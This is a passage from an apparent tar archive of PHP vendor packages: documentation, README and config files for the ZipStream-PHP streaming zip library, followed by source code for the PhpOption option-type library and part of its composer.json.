'goodbye.txt', stream: $filePointer, ); fclose($filePointer); // add a file named 'streamfile.txt' from the body of a `guzzle` response // Setup with `psr/http-message` & `guzzlehttp/psr7` dependencies required. $zip->addFileFromPsr7Stream( fileName: 'streamfile.txt', stream: $response->getBody(), ); // finish the zip stream $zip->finish(); You can also add comments, modify file timestamps, and customize (or disable) the HTTP headers. It is also possible to specify the storage method when adding files, the current default storage method is ``DEFLATE`` i.e files are stored with Compression mode 0x08. Known Issues --------------- The native Mac OS archive extraction tool prior to macOS 10.15 might not open archives in some conditions. A workaround is to disable the Zip64 feature with the option ``enableZip64: false``. This limits the archive to 4 Gb and 64k files but will allow users on macOS 10.14 and below to open them without issue. See `#116 <https://github.com/maennchen/ZipStream-PHP/issues/146>`_. The linux ``unzip`` utility might not handle properly unicode characters. It is recommended to extract with another tool like `7-zip <https://www.7-zip.org/>`_. See `#146 <https://github.com/maennchen/ZipStream-PHP/issues/146>`_. It is the responsability of the client code to make sure that files are not saved with the same path, as it is not possible for the library to figure it out while streaming a zip. See `#154 <https://github.com/maennchen/ZipStream-PHP/issues/154>`_. maennchen/zipstream-php/guides/Varnish.rst000064400000001207151676714400014742 0ustar00Usage with Varnish ============= Serving a big zip with varnish in between can cause random stream close. This can be solved by adding attached code to the vcl file. To avoid the problem, add the following to your varnish config file: .. code-block:: sub vcl_recv { # Varnish can’t intercept the discussion anymore # helps for streaming big zips if (req.url ~ "\.(tar|gz|zip|7z|exe)$") { return (pipe); } } # Varnish can’t intercept the discussion anymore # helps for streaming big zips sub vcl_pipe { set bereq.http.connection = "close"; return (pipe); } maennchen/zipstream-php/guides/ContentLength.rst000064400000002534151676714400016110 0ustar00Adding Content-Length header ============= Adding a ``Content-Length`` header for ``ZipStream`` can be achieved by using the options ``SIMULATION_STRICT`` or ``SIMULATION_LAX`` in the ``operationMode`` parameter. In the ``SIMULATION_STRICT`` mode, ``ZipStream`` will not allow to calculate the size based on reading the whole file. ``SIMULATION_LAX`` will read the whole file if neccessary. ``SIMULATION_STRICT`` is therefore useful to make sure that the size can be calculated efficiently. .. code-block:: php use ZipStream\OperationMode; use ZipStream\ZipStream; $zip = new ZipStream( operationMode: OperationMode::SIMULATE_STRICT, // or SIMULATE_LAX defaultEnableZeroHeader: false, sendHttpHeaders: true, outputStream: $stream, ); // Normally add files $zip->addFile('sample.txt', 'Sample String Data'); // Use addFileFromCallback and exactSize if you want to defer opening of // the file resource $zip->addFileFromCallback( 'sample.txt', exactSize: 18, callback: function () { return fopen('...'); } ); // Read resulting file size $size = $zip->finish(); // Tell it to the browser header('Content-Length: '. $size); // Execute the Simulation and stream the actual zip to the client $zip->executeSimulation(); maennchen/zipstream-php/guides/Symfony.rst000064400000011067151676714400015001 0ustar00Usage with Symfony =============== Overview for using ZipStream in Symfony -------- Using ZipStream in Symfony requires use of Symfony's ``StreamedResponse`` when used in controller actions. Wrap your call to the relevant ``ZipStream`` stream method (i.e. ``addFile``, ``addFileFromPath``, ``addFileFromStream``) in Symfony's ``StreamedResponse`` function passing in any required arguments for your use case. Using Symfony's ``StreamedResponse`` will allow Symfony to stream output from ZipStream correctly to users' browsers and avoid a corrupted final zip landing on the users' end. Example for using ``ZipStream`` in a controller action to zip stream files stored in an AWS S3 bucket by key: .. code-block:: php use Symfony\Component\HttpFoundation\StreamedResponse; use Aws\S3\S3Client; use ZipStream; //... /** * @Route("/zipstream", name="zipstream") */ public function zipStreamAction() { // sample test file on s3 $s3keys = array( "ziptestfolder/file1.txt" ); $s3Client = $this->get('app.amazon.s3'); //s3client service $s3Client->registerStreamWrapper(); //required // using StreamedResponse to wrap ZipStream functionality // for files on AWS s3. $response = new StreamedResponse(function() use($s3keys, $s3Client) { // Define suitable options for ZipStream Archive. // this is needed to prevent issues with truncated zip files //initialise zipstream with output zip filename and options. $zip = new ZipStream\ZipStream( outputName: 'test.zip', defaultEnableZeroHeader: true, contentType: 'application/octet-stream', ); //loop keys - useful for multiple files foreach ($s3keys as $key) { // Get the file name in S3 key so we can save it to the zip //file using the same name. $fileName = basename($key); // concatenate s3path. // replace with your bucket name or get from parameters file. $bucket = 'bucketname'; $s3path = "s3://" . $bucket . "/" . $key; //addFileFromStream if ($streamRead = fopen($s3path, 'r')) { $zip->addFileFromStream( fileName: $fileName, stream: $streamRead, ); } else { die('Could not open stream for reading'); } } $zip->finish(); }); return $response; } In the above example, files on AWS S3 are being streamed from S3 to the Symfon application via ``fopen`` call when the s3Client has ``registerStreamWrapper`` applied. This stream is then passed to ``ZipStream`` via the ``addFileFromStream`` function, which ZipStream then streams as a zip to the client browser via Symfony's ``StreamedResponse``. No Zip is created server side, which makes this approach a more efficient solution for streaming zips to the client browser especially for larger files. For the above use case you will need to have installed `aws/aws-sdk-php-symfony <https://github.com/aws/aws-sdk-php-symfony>`_ to support accessing S3 objects in your Symfony web application. This is not required for locally stored files on you server you intend to stream via ``ZipStream``. See official Symfony documentation for details on `Symfony's StreamedResponse <https://symfony.com/doc/current/components/http_foundation.html#streaming-a-response>`_ ``Symfony\Component\HttpFoundation\StreamedResponse``. Note from `S3 documentation <https://docs.aws.amazon.com/sdk-for-php/v3/developer-guide/s3-stream-wrapper.html>`_: Streams opened in "r" mode only allow data to be read from the stream, and are not seekable by default. This is so that data can be downloaded from Amazon S3 in a truly streaming manner, where previously read bytes do not need to be buffered into memory. If you need a stream to be seekable, you can pass seekable into the stream context options of a function. Make sure to configure your S3 context correctly! Uploading a file -------- You need to add correct permissions (see `#120 <https://github.com/maennchen/ZipStream-PHP/issues/120>`_) **example code** .. code-block:: php $path = "s3://{$adapter->getBucket()}/{$this->getArchivePath()}"; // the important bit $outputContext = stream_context_create([ 's3' => ['ACL' => 'public-read'], ]); fopen($path, 'w', null, $outputContext); maennchen/zipstream-php/guides/FlySystem.rst000064400000002070151676714400015266 0ustar00Usage with FlySystem =============== For saving or uploading the generated zip, you can use the `Flysystem <https://flysystem.thephpleague.com>`_ package, and its many adapters. For that you will need to provide another stream than the ``php://output`` default one, and pass it to Flysystem ``putStream`` method. .. code-block:: php // Open Stream only once for read and write since it's a memory stream and // the content is lost when closing the stream / opening another one $tempStream = fopen('php://memory', 'w+'); // Create Zip Archive $zipStream = new ZipStream( outputStream: $tempStream, outputName: 'test.zip', ); $zipStream->addFile('test.txt', 'text'); $zipStream->finish(); // Store File // (see Flysystem documentation, and all its framework integration) // Can be any adapter (AWS, Google, Ftp, etc.) $adapter = new Local(__DIR__.'/path/to/folder'); $filesystem = new Filesystem($adapter); $filesystem->writeStream('test.zip', $tempStream) // Close Stream fclose($tempStream); maennchen/zipstream-php/guides/Nginx.rst000064400000001057151676714400014416 0ustar00Usage with nginx ============= If you are using nginx as a webserver, it will try to buffer the response. So you'll want to disable this with a custom header: .. code-block:: php header('X-Accel-Buffering: no'); # or with the Response class from Symfony $response->headers->set('X-Accel-Buffering', 'no'); Alternatively, you can tweak the `fastcgi cache parameters <https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_buffers>`_ within nginx config. See `original issue <https://github.com/maennchen/ZipStream-PHP/issues/77>`_.maennchen/zipstream-php/.tool-versions000064400000000012151676714400014133 0ustar00php 8.2.5 maennchen/zipstream-php/README.md000064400000017753151676714400012612 0ustar00# ZipStream-PHP [](https://github.com/maennchen/ZipStream-PHP/actions/workflows/branch_main.yml) [](https://coveralls.io/github/maennchen/ZipStream-PHP?branch=main) [](https://packagist.org/packages/maennchen/zipstream-php) [](https://packagist.org/packages/maennchen/zipstream-php) [](https://opencollective.com/zipstream) [](LICENSE) ## Unstable Branch The `main` branch is not stable. Please see the [releases](https://github.com/maennchen/ZipStream-PHP/releases) for a stable version. ## Overview A fast and simple streaming zip file downloader for PHP. Using this library will save you from having to write the Zip to disk. You can directly send it to the user, which is much faster. It can work with S3 buckets or any PSR7 Stream. Please see the [LICENSE](LICENSE) file for licensing and warranty information. ## Installation Simply add a dependency on maennchen/zipstream-php to your project's `composer.json` file if you use Composer to manage the dependencies of your project. Use following command to add the package to your project's dependencies: ```bash composer require maennchen/zipstream-php ``` ## Usage For detailed instructions, please check the [Documentation](https://maennchen.github.io/ZipStream-PHP/). ```php // Autoload the dependencies require 'vendor/autoload.php'; // create a new zipstream object $zip = new ZipStream\ZipStream( outputName: 'example.zip', // enable output of HTTP headers sendHttpHeaders: true, ); // create a file named 'hello.txt' $zip->addFile( fileName: 'hello.txt', data: 'This is the contents of hello.txt', ); // add a file named 'some_image.jpg' from a local file 'path/to/image.jpg' $zip->addFileFromPath( fileName: 'some_image.jpg', path: 'path/to/image.jpg', ); // finish the zip stream $zip->finish(); ``` ## Upgrade to version 3.0.0 ### General - Minimum PHP Version: `8.1` - Only 64bit Architecture is supported. - The class `ZipStream\Option\Method` has been replaced with the enum `ZipStream\CompressionMethod`. - Most clases have been flagged as `@internal` and should not be used from the outside. If you're using internal resources to extend this library, please open an issue so that a clean interface can be added & published. The externally available classes & enums are: - `ZipStream\CompressionMethod` - `ZipStream\Exception*` - `ZipStream\ZipStream` ### Archive Options - The class `ZipStream\Option\Archive` has been replaced in favor of named arguments in the `ZipStream\ZipStream` constuctor. - The archive options `largeFileSize` & `largeFileMethod` has been removed. If you want different `compressionMethods` based on the file size, you'll have to implement this yourself. - The archive option `httpHeaderCallback` changed the type from `callable` to `Closure`. - The archive option `zeroHeader` has been replaced with the option `defaultEnableZeroHeader` and can be overridden for every file. Its default value changed from `false` to `true`. - The archive option `statFiles` was removed since the library no longer checks filesizes this way. - The archive option `deflateLevel` has been replaced with the option `defaultDeflateLevel` and can be overridden for every file. - The first argument (`name`) of the `ZipStream\ZipStream` constuctor has been replaced with the named argument `outputName`. - Headers are now also sent if the `outputName` is empty. If you do not want to automatically send http headers, set `sendHttpHeaders` to `false`. ### File Options - The class `ZipStream\Option\File` has been replaced in favor of named arguments in the `ZipStream\ZipStream->addFile*` functions. - The file option `method` has been renamed to `compressionMethod`. - The file option `time` has been renamed to `lastModificationDateTime`. - The file option `size` has been renamed to `maxSize`. ## Upgrade to version 2.0.0 https://github.com/maennchen/ZipStream-PHP/tree/2.0.0#upgrade-to-version-200 ## Upgrade to version 1.0.0 https://github.com/maennchen/ZipStream-PHP/tree/2.0.0#upgrade-to-version-100 ## Contributing ZipStream-PHP is a collaborative project. Please take a look at the [.github/CONTRIBUTING.md](.github/CONTRIBUTING.md) file. ## Version Support Versions are supported according to the table below. Please do not open any pull requests contradicting the current version support status. Careful: Always check the `README` on `main` for up-to-date information. | Version | New Features | Bugfixes | Security | |---------|--------------|----------|----------| | *3* | ✓ | ✓ | ✓ | | *2* | ✗ | ✓ | ✓ | | *1* | ✗ | ✗ | ✓ | | *0* | ✗ | ✗ | ✗ | This library aligns itself with the PHP core support. New features and bugfixes will only target PHP versions according to their current status. See: https://www.php.net/supported-versions.php ## About the Authors - Paul Duncan <pabs@pablotron.org> - https://pablotron.org/ - Jonatan Männchen <jonatan@maennchen.ch> - https://maennchen.dev - Jesse G. Donat <donatj@gmail.com> - https://donatstudios.com - Nicolas CARPi <nico-git@deltablot.email> - https://www.deltablot.com - Nik Barham <nik@brokencube.co.uk> - https://www.brokencube.co.uk ## Contributors ### Code Contributors This project exists thanks to all the people who contribute. [[Contribute](.github/CONTRIBUTING.md)]. <a href="https://github.com/maennchen/ZipStream-PHP/graphs/contributors"><img src="https://opencollective.com/zipstream/contributors.svg?width=890&button=false" /></a> ### Financial Contributors Become a financial contributor and help us sustain our community. [[Contribute](https://opencollective.com/zipstream/contribute)] #### Individuals <a href="https://opencollective.com/zipstream"><img src="https://opencollective.com/zipstream/individuals.svg?width=890"></a> #### Organizations Support this project with your organization. Your logo will show up here with a link to your website. [[Contribute](https://opencollective.com/zipstream/contribute)] <a href="https://opencollective.com/zipstream/organization/0/website"><img src="https://opencollective.com/zipstream/organization/0/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/1/website"><img src="https://opencollective.com/zipstream/organization/1/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/2/website"><img src="https://opencollective.com/zipstream/organization/2/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/3/website"><img src="https://opencollective.com/zipstream/organization/3/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/4/website"><img src="https://opencollective.com/zipstream/organization/4/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/5/website"><img src="https://opencollective.com/zipstream/organization/5/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/6/website"><img src="https://opencollective.com/zipstream/organization/6/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/7/website"><img src="https://opencollective.com/zipstream/organization/7/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/8/website"><img src="https://opencollective.com/zipstream/organization/8/avatar.svg"></a> <a href="https://opencollective.com/zipstream/organization/9/website"><img src="https://opencollective.com/zipstream/organization/9/avatar.svg"></a> maennchen/zipstream-php/.php-cs-fixer.dist.php000064400000004267151676714400015365 0ustar00<?php declare(strict_types=1); /** * PHP-CS-Fixer config for ZipStream-PHP * @author Nicolas CARPi <nico-git@deltablot.email> * @copyright 2022 Nicolas CARPi * @see https://github.com/maennchen/ZipStream-PHP * @license MIT * @package maennchen/ZipStream-PHP */ use PhpCsFixer\Config; use PhpCsFixer\Finder; $finder = Finder::create() ->exclude('.github') ->exclude('.phpdoc') ->exclude('docs') ->exclude('tools') ->exclude('vendor') ->in(__DIR__); $config = new Config(); return $config->setRules([ '@PER' => true, '@PER:risky' => true, '@PHP82Migration' => true, '@PHPUnit84Migration:risky' => true, 'array_syntax' => ['syntax' => 'short'], 'class_attributes_separation' => true, 'declare_strict_types' => true, 'dir_constant' => true, 'is_null' => true, 'no_homoglyph_names' => true, 'no_null_property_initialization' => true, 'no_php4_constructor' => true, 'no_unused_imports' => true, 'no_useless_else' => true, 'non_printable_character' => true, 'ordered_imports' => true, 'ordered_class_elements' => true, 'php_unit_construct' => true, 'pow_to_exponentiation' => true, 'psr_autoloading' => true, 'random_api_migration' => true, 'return_assignment' => true, 'self_accessor' => true, 'semicolon_after_instruction' => true, 'short_scalar_cast' => true, 'simplified_null_return' => true, 'single_blank_line_before_namespace' => true, 'single_class_element_per_statement' => true, 'single_line_comment_style' => true, 'single_quote' => true, 'space_after_semicolon' => true, 'standardize_not_equals' => true, 'strict_param' => true, 'ternary_operator_spaces' => true, 'trailing_comma_in_multiline' => true, 'trim_array_spaces' => true, 'unary_operator_spaces' => true, 'global_namespace_import' => [ 'import_classes' => true, 'import_functions' => true, 'import_constants' => true, ], ]) ->setFinder($finder) ->setRiskyAllowed(true); maennchen/zipstream-php/psalm.xml000064400000001433151676714400013155 0ustar00<?xml version="1.0"?> <psalm errorLevel="1" resolveFromConfigFile="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://getpsalm.org/schema/config" xsi:schemaLocation="https://getpsalm.org/schema/config vendor/vimeo/psalm/config.xsd" findUnusedBaselineEntry="true" findUnusedCode="true" > <projectFiles> <directory name="src" /> <ignoreFiles> <directory name="vendor" /> </ignoreFiles> </projectFiles> <issueHandlers> <!-- Turn off dead code warnings for externally called functions --> <PossiblyUnusedProperty errorLevel="suppress" /> <PossiblyUnusedMethod errorLevel="suppress" /> <PossiblyUnusedReturnValue errorLevel="suppress" /> </issueHandlers> </psalm> maennchen/zipstream-php/.phpdoc/template/base.html.twig000064400000001262151676714400017236 0ustar00{% extends 'layout.html.twig' %} {% set topMenu = { "menu": [ { "name": "Guides", "url": "https://maennchen.dev/ZipStream-PHP/guide/index.html"}, { "name": "API", "url": "https://maennchen.dev/ZipStream-PHP/classes/ZipStream-ZipStream.html"}, { "name": "Issues", "url": "https://github.com/maennchen/ZipStream-PHP/issues"}, ], "social": [ { "iconClass": "fab fa-github", "url": "https://github.com/maennchen/ZipStream-PHP"}, { "iconClass": "fas fa-envelope-open-text", "url": "https://github.com/maennchen/ZipStream-PHP/discussions"}, { "iconClass": "fas fa-money-bill", "url": "https://opencollective.com/zipstream"}, ] } %}phpoption/phpoption/src/PhpOption/None.php000064400000004722151676714400014743 0ustar00<?php /* * Copyright 2012 Johannes M. Schmitt <schmittjoh@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace PhpOption; use EmptyIterator; /** * @extends Option<mixed> */ final class None extends Option { /** @var None|null */ private static $instance; /** * @return None */ public static function create(): self { if (null === self::$instance) { self::$instance = new self(); } return self::$instance; } public function get() { throw new \RuntimeException('None has no value.'); } public function getOrCall($callable) { return $callable(); } public function getOrElse($default) { return $default; } public function getOrThrow(\Exception $ex) { throw $ex; } public function isEmpty(): bool { return true; } public function isDefined(): bool { return false; } public function orElse(Option $else) { return $else; } public function ifDefined($callable) { // Just do nothing in that case. } public function forAll($callable) { return $this; } public function map($callable) { return $this; } public function flatMap($callable) { return $this; } public function filter($callable) { return $this; } public function filterNot($callable) { return $this; } public function select($value) { return $this; } public function reject($value) { return $this; } public function getIterator(): EmptyIterator { return new EmptyIterator(); } public function foldLeft($initialValue, $callable) { return $initialValue; } public function foldRight($initialValue, $callable) { return $initialValue; } private function __construct() { } } phpoption/phpoption/src/PhpOption/LazyOption.php000064400000007762151676714400016163 0ustar00<?php /* * Copyright 2012 Johannes M. Schmitt <schmittjoh@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace PhpOption; use Traversable; /** * @template T * * @extends Option<T> */ final class LazyOption extends Option { /** @var callable(mixed...):(Option<T>) */ private $callback; /** @var array<int, mixed> */ private $arguments; /** @var Option<T>|null */ private $option; /** * @template S * @param callable(mixed...):(Option<S>) $callback * @param array<int, mixed> $arguments * * @return LazyOption<S> */ public static function create($callback, array $arguments = []): self { return new self($callback, $arguments); } /** * @param callable(mixed...):(Option<T>) $callback * @param array<int, mixed> $arguments */ public function __construct($callback, array $arguments = []) { if (!is_callable($callback)) { throw new \InvalidArgumentException('Invalid callback given'); } $this->callback = $callback; $this->arguments = $arguments; } public function isDefined(): bool { return $this->option()->isDefined(); } public function isEmpty(): bool { return $this->option()->isEmpty(); } public function get() { return $this->option()->get(); } public function getOrElse($default) { return $this->option()->getOrElse($default); } public function getOrCall($callable) { return $this->option()->getOrCall($callable); } public function getOrThrow(\Exception $ex) { return $this->option()->getOrThrow($ex); } public function orElse(Option $else) { return $this->option()->orElse($else); } public function ifDefined($callable) { $this->option()->forAll($callable); } public function forAll($callable) { return $this->option()->forAll($callable); } public function map($callable) { return $this->option()->map($callable); } public function flatMap($callable) { return $this->option()->flatMap($callable); } public function filter($callable) { return $this->option()->filter($callable); } public function filterNot($callable) { return $this->option()->filterNot($callable); } public function select($value) { return $this->option()->select($value); } public function reject($value) { return $this->option()->reject($value); } /** * @return Traversable<T> */ public function getIterator(): Traversable { return $this->option()->getIterator(); } public function foldLeft($initialValue, $callable) { return $this->option()->foldLeft($initialValue, $callable); } public function foldRight($initialValue, $callable) { return $this->option()->foldRight($initialValue, $callable); } /** * @return Option<T> */ private function option(): Option { if (null === $this->option) { /** @var mixed */ $option = call_user_func_array($this->callback, $this->arguments); if ($option instanceof Option) { $this->option = $option; } else { throw new \RuntimeException(sprintf('Expected instance of %s', Option::class)); } } return $this->option; } } phpoption/phpoption/src/PhpOption/Some.php000064400000006367151676714400014756 0ustar00<?php /* * Copyright 2012 Johannes M. Schmitt <schmittjoh@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace PhpOption; use ArrayIterator; /** * @template T * * @extends Option<T> */ final class Some extends Option { /** @var T */ private $value; /** * @param T $value */ public function __construct($value) { $this->value = $value; } /** * @template U * * @param U $value * * @return Some<U> */ public static function create($value): self { return new self($value); } public function isDefined(): bool { return true; } public function isEmpty(): bool { return false; } public function get() { return $this->value; } public function getOrElse($default) { return $this->value; } public function getOrCall($callable) { return $this->value; } public function getOrThrow(\Exception $ex) { return $this->value; } public function orElse(Option $else) { return $this; } public function ifDefined($callable) { $this->forAll($callable); } public function forAll($callable) { $callable($this->value); return $this; } public function map($callable) { return new self($callable($this->value)); } public function flatMap($callable) { /** @var mixed */ $rs = $callable($this->value); if (!$rs instanceof Option) { throw new \RuntimeException('Callables passed to flatMap() must return an Option. Maybe you should use map() instead?'); } return $rs; } public function filter($callable) { if (true === $callable($this->value)) { return $this; } return None::create(); } public function filterNot($callable) { if (false === $callable($this->value)) { return $this; } return None::create(); } public function select($value) { if ($this->value === $value) { return $this; } return None::create(); } public function reject($value) { if ($this->value === $value) { return None::create(); } return $this; } /** * @return ArrayIterator<int, T> */ public function getIterator(): ArrayIterator { return new ArrayIterator([$this->value]); } public function foldLeft($initialValue, $callable) { return $callable($initialValue, $this->value); } public function foldRight($initialValue, $callable) { return $callable($this->value, $initialValue); } } phpoption/phpoption/src/PhpOption/Option.php000064400000032034151676714400015311 0ustar00<?php /* * Copyright 2012 Johannes M. Schmitt <schmittjoh@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace PhpOption; use ArrayAccess; use IteratorAggregate; /** * @template T * * @implements IteratorAggregate<T> */ abstract class Option implements IteratorAggregate { /** * Creates an option given a return value. * * This is intended for consuming existing APIs and allows you to easily * convert them to an option. By default, we treat ``null`` as the None * case, and everything else as Some. * * @template S * * @param S $value The actual return value. * @param S $noneValue The value which should be considered "None"; null by * default. * * @return Option<S> */ public static function fromValue($value, $noneValue = null) { if ($value === $noneValue) { return None::create(); } return new Some($value); } /** * Creates an option from an array's value. * * If the key does not exist in the array, the array is not actually an * array, or the array's value at the given key is null, None is returned. * Otherwise, Some is returned wrapping the value at the given key. * * @template S * * @param array<string|int,S>|ArrayAccess<string|int,S>|null $array A potential array or \ArrayAccess value. * @param string $key The key to check. * * @return Option<S> */ public static function fromArraysValue($array, $key) { if (!(is_array($array) || $array instanceof ArrayAccess) || !isset($array[$key])) { return None::create(); } return new Some($array[$key]); } /** * Creates a lazy-option with the given callback. * * This is also a helper constructor for lazy-consuming existing APIs where * the return value is not yet an option. By default, we treat ``null`` as * None case, and everything else as Some. * * @template S * * @param callable $callback The callback to evaluate. * @param array $arguments The arguments for the callback. * @param S $noneValue The value which should be considered "None"; * null by default. * * @return LazyOption<S> */ public static function fromReturn($callback, array $arguments = [], $noneValue = null) { return new LazyOption(static function () use ($callback, $arguments, $noneValue) { /** @var mixed */ $return = call_user_func_array($callback, $arguments); if ($return === $noneValue) { return None::create(); } return new Some($return); }); } /** * Option factory, which creates new option based on passed value. * * If value is already an option, it simply returns. If value is callable, * LazyOption with passed callback created and returned. If Option * returned from callback, it returns directly. On other case value passed * to Option::fromValue() method. * * @template S * * @param Option<S>|callable|S $value * @param S $noneValue Used when $value is mixed or * callable, for None-check. * * @return Option<S>|LazyOption<S> */ public static function ensure($value, $noneValue = null) { if ($value instanceof self) { return $value; } elseif (is_callable($value)) { return new LazyOption(static function () use ($value, $noneValue) { /** @var mixed */ $return = $value(); if ($return instanceof self) { return $return; } else { return self::fromValue($return, $noneValue); } }); } else { return self::fromValue($value, $noneValue); } } /** * Lift a function so that it accepts Option as parameters. * * We return a new closure that wraps the original callback. If any of the * parameters passed to the lifted function is empty, the function will * return a value of None. Otherwise, we will pass all parameters to the * original callback and return the value inside a new Option, unless an * Option is returned from the function, in which case, we use that. * * @template S * * @param callable $callback * @param mixed $noneValue * * @return callable */ public static function lift($callback, $noneValue = null) { return static function () use ($callback, $noneValue) { /** @var array<int, mixed> */ $args = func_get_args(); $reduced_args = array_reduce( $args, /** @param bool $status */ static function ($status, self $o) { return $o->isEmpty() ? true : $status; }, false ); // if at least one parameter is empty, return None if ($reduced_args) { return None::create(); } $args = array_map( /** @return T */ static function (self $o) { // it is safe to do so because the fold above checked // that all arguments are of type Some /** @var T */ return $o->get(); }, $args ); return self::ensure(call_user_func_array($callback, $args), $noneValue); }; } /** * Returns the value if available, or throws an exception otherwise. * * @throws \RuntimeException If value is not available. * * @return T */ abstract public function get(); /** * Returns the value if available, or the default value if not. * * @template S * * @param S $default * * @return T|S */ abstract public function getOrElse($default); /** * Returns the value if available, or the results of the callable. * * This is preferable over ``getOrElse`` if the computation of the default * value is expensive. * * @template S * * @param callable():S $callable * * @return T|S */ abstract public function getOrCall($callable); /** * Returns the value if available, or throws the passed exception. * * @param \Exception $ex * * @return T */ abstract public function getOrThrow(\Exception $ex); /** * Returns true if no value is available, false otherwise. * * @return bool */ abstract public function isEmpty(); /** * Returns true if a value is available, false otherwise. * * @return bool */ abstract public function isDefined(); /** * Returns this option if non-empty, or the passed option otherwise. * * This can be used to try multiple alternatives, and is especially useful * with lazy evaluating options: * * ```php * $repo->findSomething() * ->orElse(new LazyOption(array($repo, 'findSomethingElse'))) * ->orElse(new LazyOption(array($repo, 'createSomething'))); * ``` * * @param Option<T> $else * * @return Option<T> */ abstract public function orElse(self $else); /** * This is similar to map() below except that the return value has no meaning; * the passed callable is simply executed if the option is non-empty, and * ignored if the option is empty. * * In all cases, the return value of the callable is discarded. * * ```php * $comment->getMaybeFile()->ifDefined(function($file) { * // Do something with $file here. * }); * ``` * * If you're looking for something like ``ifEmpty``, you can use ``getOrCall`` * and ``getOrElse`` in these cases. * * @deprecated Use forAll() instead. * * @param callable(T):mixed $callable * * @return void */ abstract public function ifDefined($callable); /** * This is similar to map() except that the return value of the callable has no meaning. * * The passed callable is simply executed if the option is non-empty, and ignored if the * option is empty. This method is preferred for callables with side-effects, while map() * is intended for callables without side-effects. * * @param callable(T):mixed $callable * * @return Option<T> */ abstract public function forAll($callable); /** * Applies the callable to the value of the option if it is non-empty, * and returns the return value of the callable wrapped in Some(). * * If the option is empty, then the callable is not applied. * * ```php * (new Some("foo"))->map('strtoupper')->get(); // "FOO" * ``` * * @template S * * @param callable(T):S $callable * * @return Option<S> */ abstract public function map($callable); /** * Applies the callable to the value of the option if it is non-empty, and * returns the return value of the callable directly. * * In contrast to ``map``, the return value of the callable is expected to * be an Option itself; it is not automatically wrapped in Some(). * * @template S * * @param callable(T):Option<S> $callable must return an Option * * @return Option<S> */ abstract public function flatMap($callable); /** * If the option is empty, it is returned immediately without applying the callable. * * If the option is non-empty, the callable is applied, and if it returns true, * the option itself is returned; otherwise, None is returned. * * @param callable(T):bool $callable * * @return Option<T> */ abstract public function filter($callable); /** * If the option is empty, it is returned immediately without applying the callable. * * If the option is non-empty, the callable is applied, and if it returns false, * the option itself is returned; otherwise, None is returned. * * @param callable(T):bool $callable * * @return Option<T> */ abstract public function filterNot($callable); /** * If the option is empty, it is returned immediately. * * If the option is non-empty, and its value does not equal the passed value * (via a shallow comparison ===), then None is returned. Otherwise, the * Option is returned. * * In other words, this will filter all but the passed value. * * @param T $value * * @return Option<T> */ abstract public function select($value); /** * If the option is empty, it is returned immediately. * * If the option is non-empty, and its value does equal the passed value (via * a shallow comparison ===), then None is returned; otherwise, the Option is * returned. * * In other words, this will let all values through except the passed value. * * @param T $value * * @return Option<T> */ abstract public function reject($value); /** * Binary operator for the initial value and the option's value. * * If empty, the initial value is returned. If non-empty, the callable * receives the initial value and the option's value as arguments. * * ```php * * $some = new Some(5); * $none = None::create(); * $result = $some->foldLeft(1, function($a, $b) { return $a + $b; }); // int(6) * $result = $none->foldLeft(1, function($a, $b) { return $a + $b; }); // int(1) * * // This can be used instead of something like the following: * $option = Option::fromValue($integerOrNull); * $result = 1; * if ( ! $option->isEmpty()) { * $result += $option->get(); * } * ``` * * @template S * * @param S $initialValue * @param callable(S, T):S $callable * * @return S */ abstract public function foldLeft($initialValue, $callable); /** * foldLeft() but with reversed arguments for the callable. * * @template S * * @param S $initialValue * @param callable(T, S):S $callable * * @return S */ abstract public function foldRight($initialValue, $callable); } phpoption/phpoption/composer.json000064400000002457151676714400013351 0ustar00{ "name": "phpoption/phpoption", "description": "Option Type for PHP", "keywords": ["php", "option", "language", "type"], "license": "Apache-2.0", "authors": [ { "name": "Johannes M. Schmitt", "email": "schmittjoh@gmail.com", "homepage": "https://github.com/schmittjoh" }, { "name": "Graham Campbell", "email": "hello@gjcampbell.co.uk", "homepage": "https://github.com/GrahamCampbell" } ], "require": { "php": "^7.2.5 || ^8.0" }, "require-dev": { "bamarni/composer-bin-plugin": "^1.8.2", "phpunit/phpunit": "^8.5.34 || ^9.6.13 || ^10.4.2" }, "autoload": { "psr-4": { "PhpOption\\": "src/PhpOption/" } }, "autoload-dev": { "psr-4": { "PhpOption\\Tests\\": "tests/PhpOption/Tests/" } }, "config": { "allow-plugins": { "bamarni/composer-bin-plugin": true }, "preferred-install": "dist" }, "extra": { "bamarni-bin": { "bin-links": 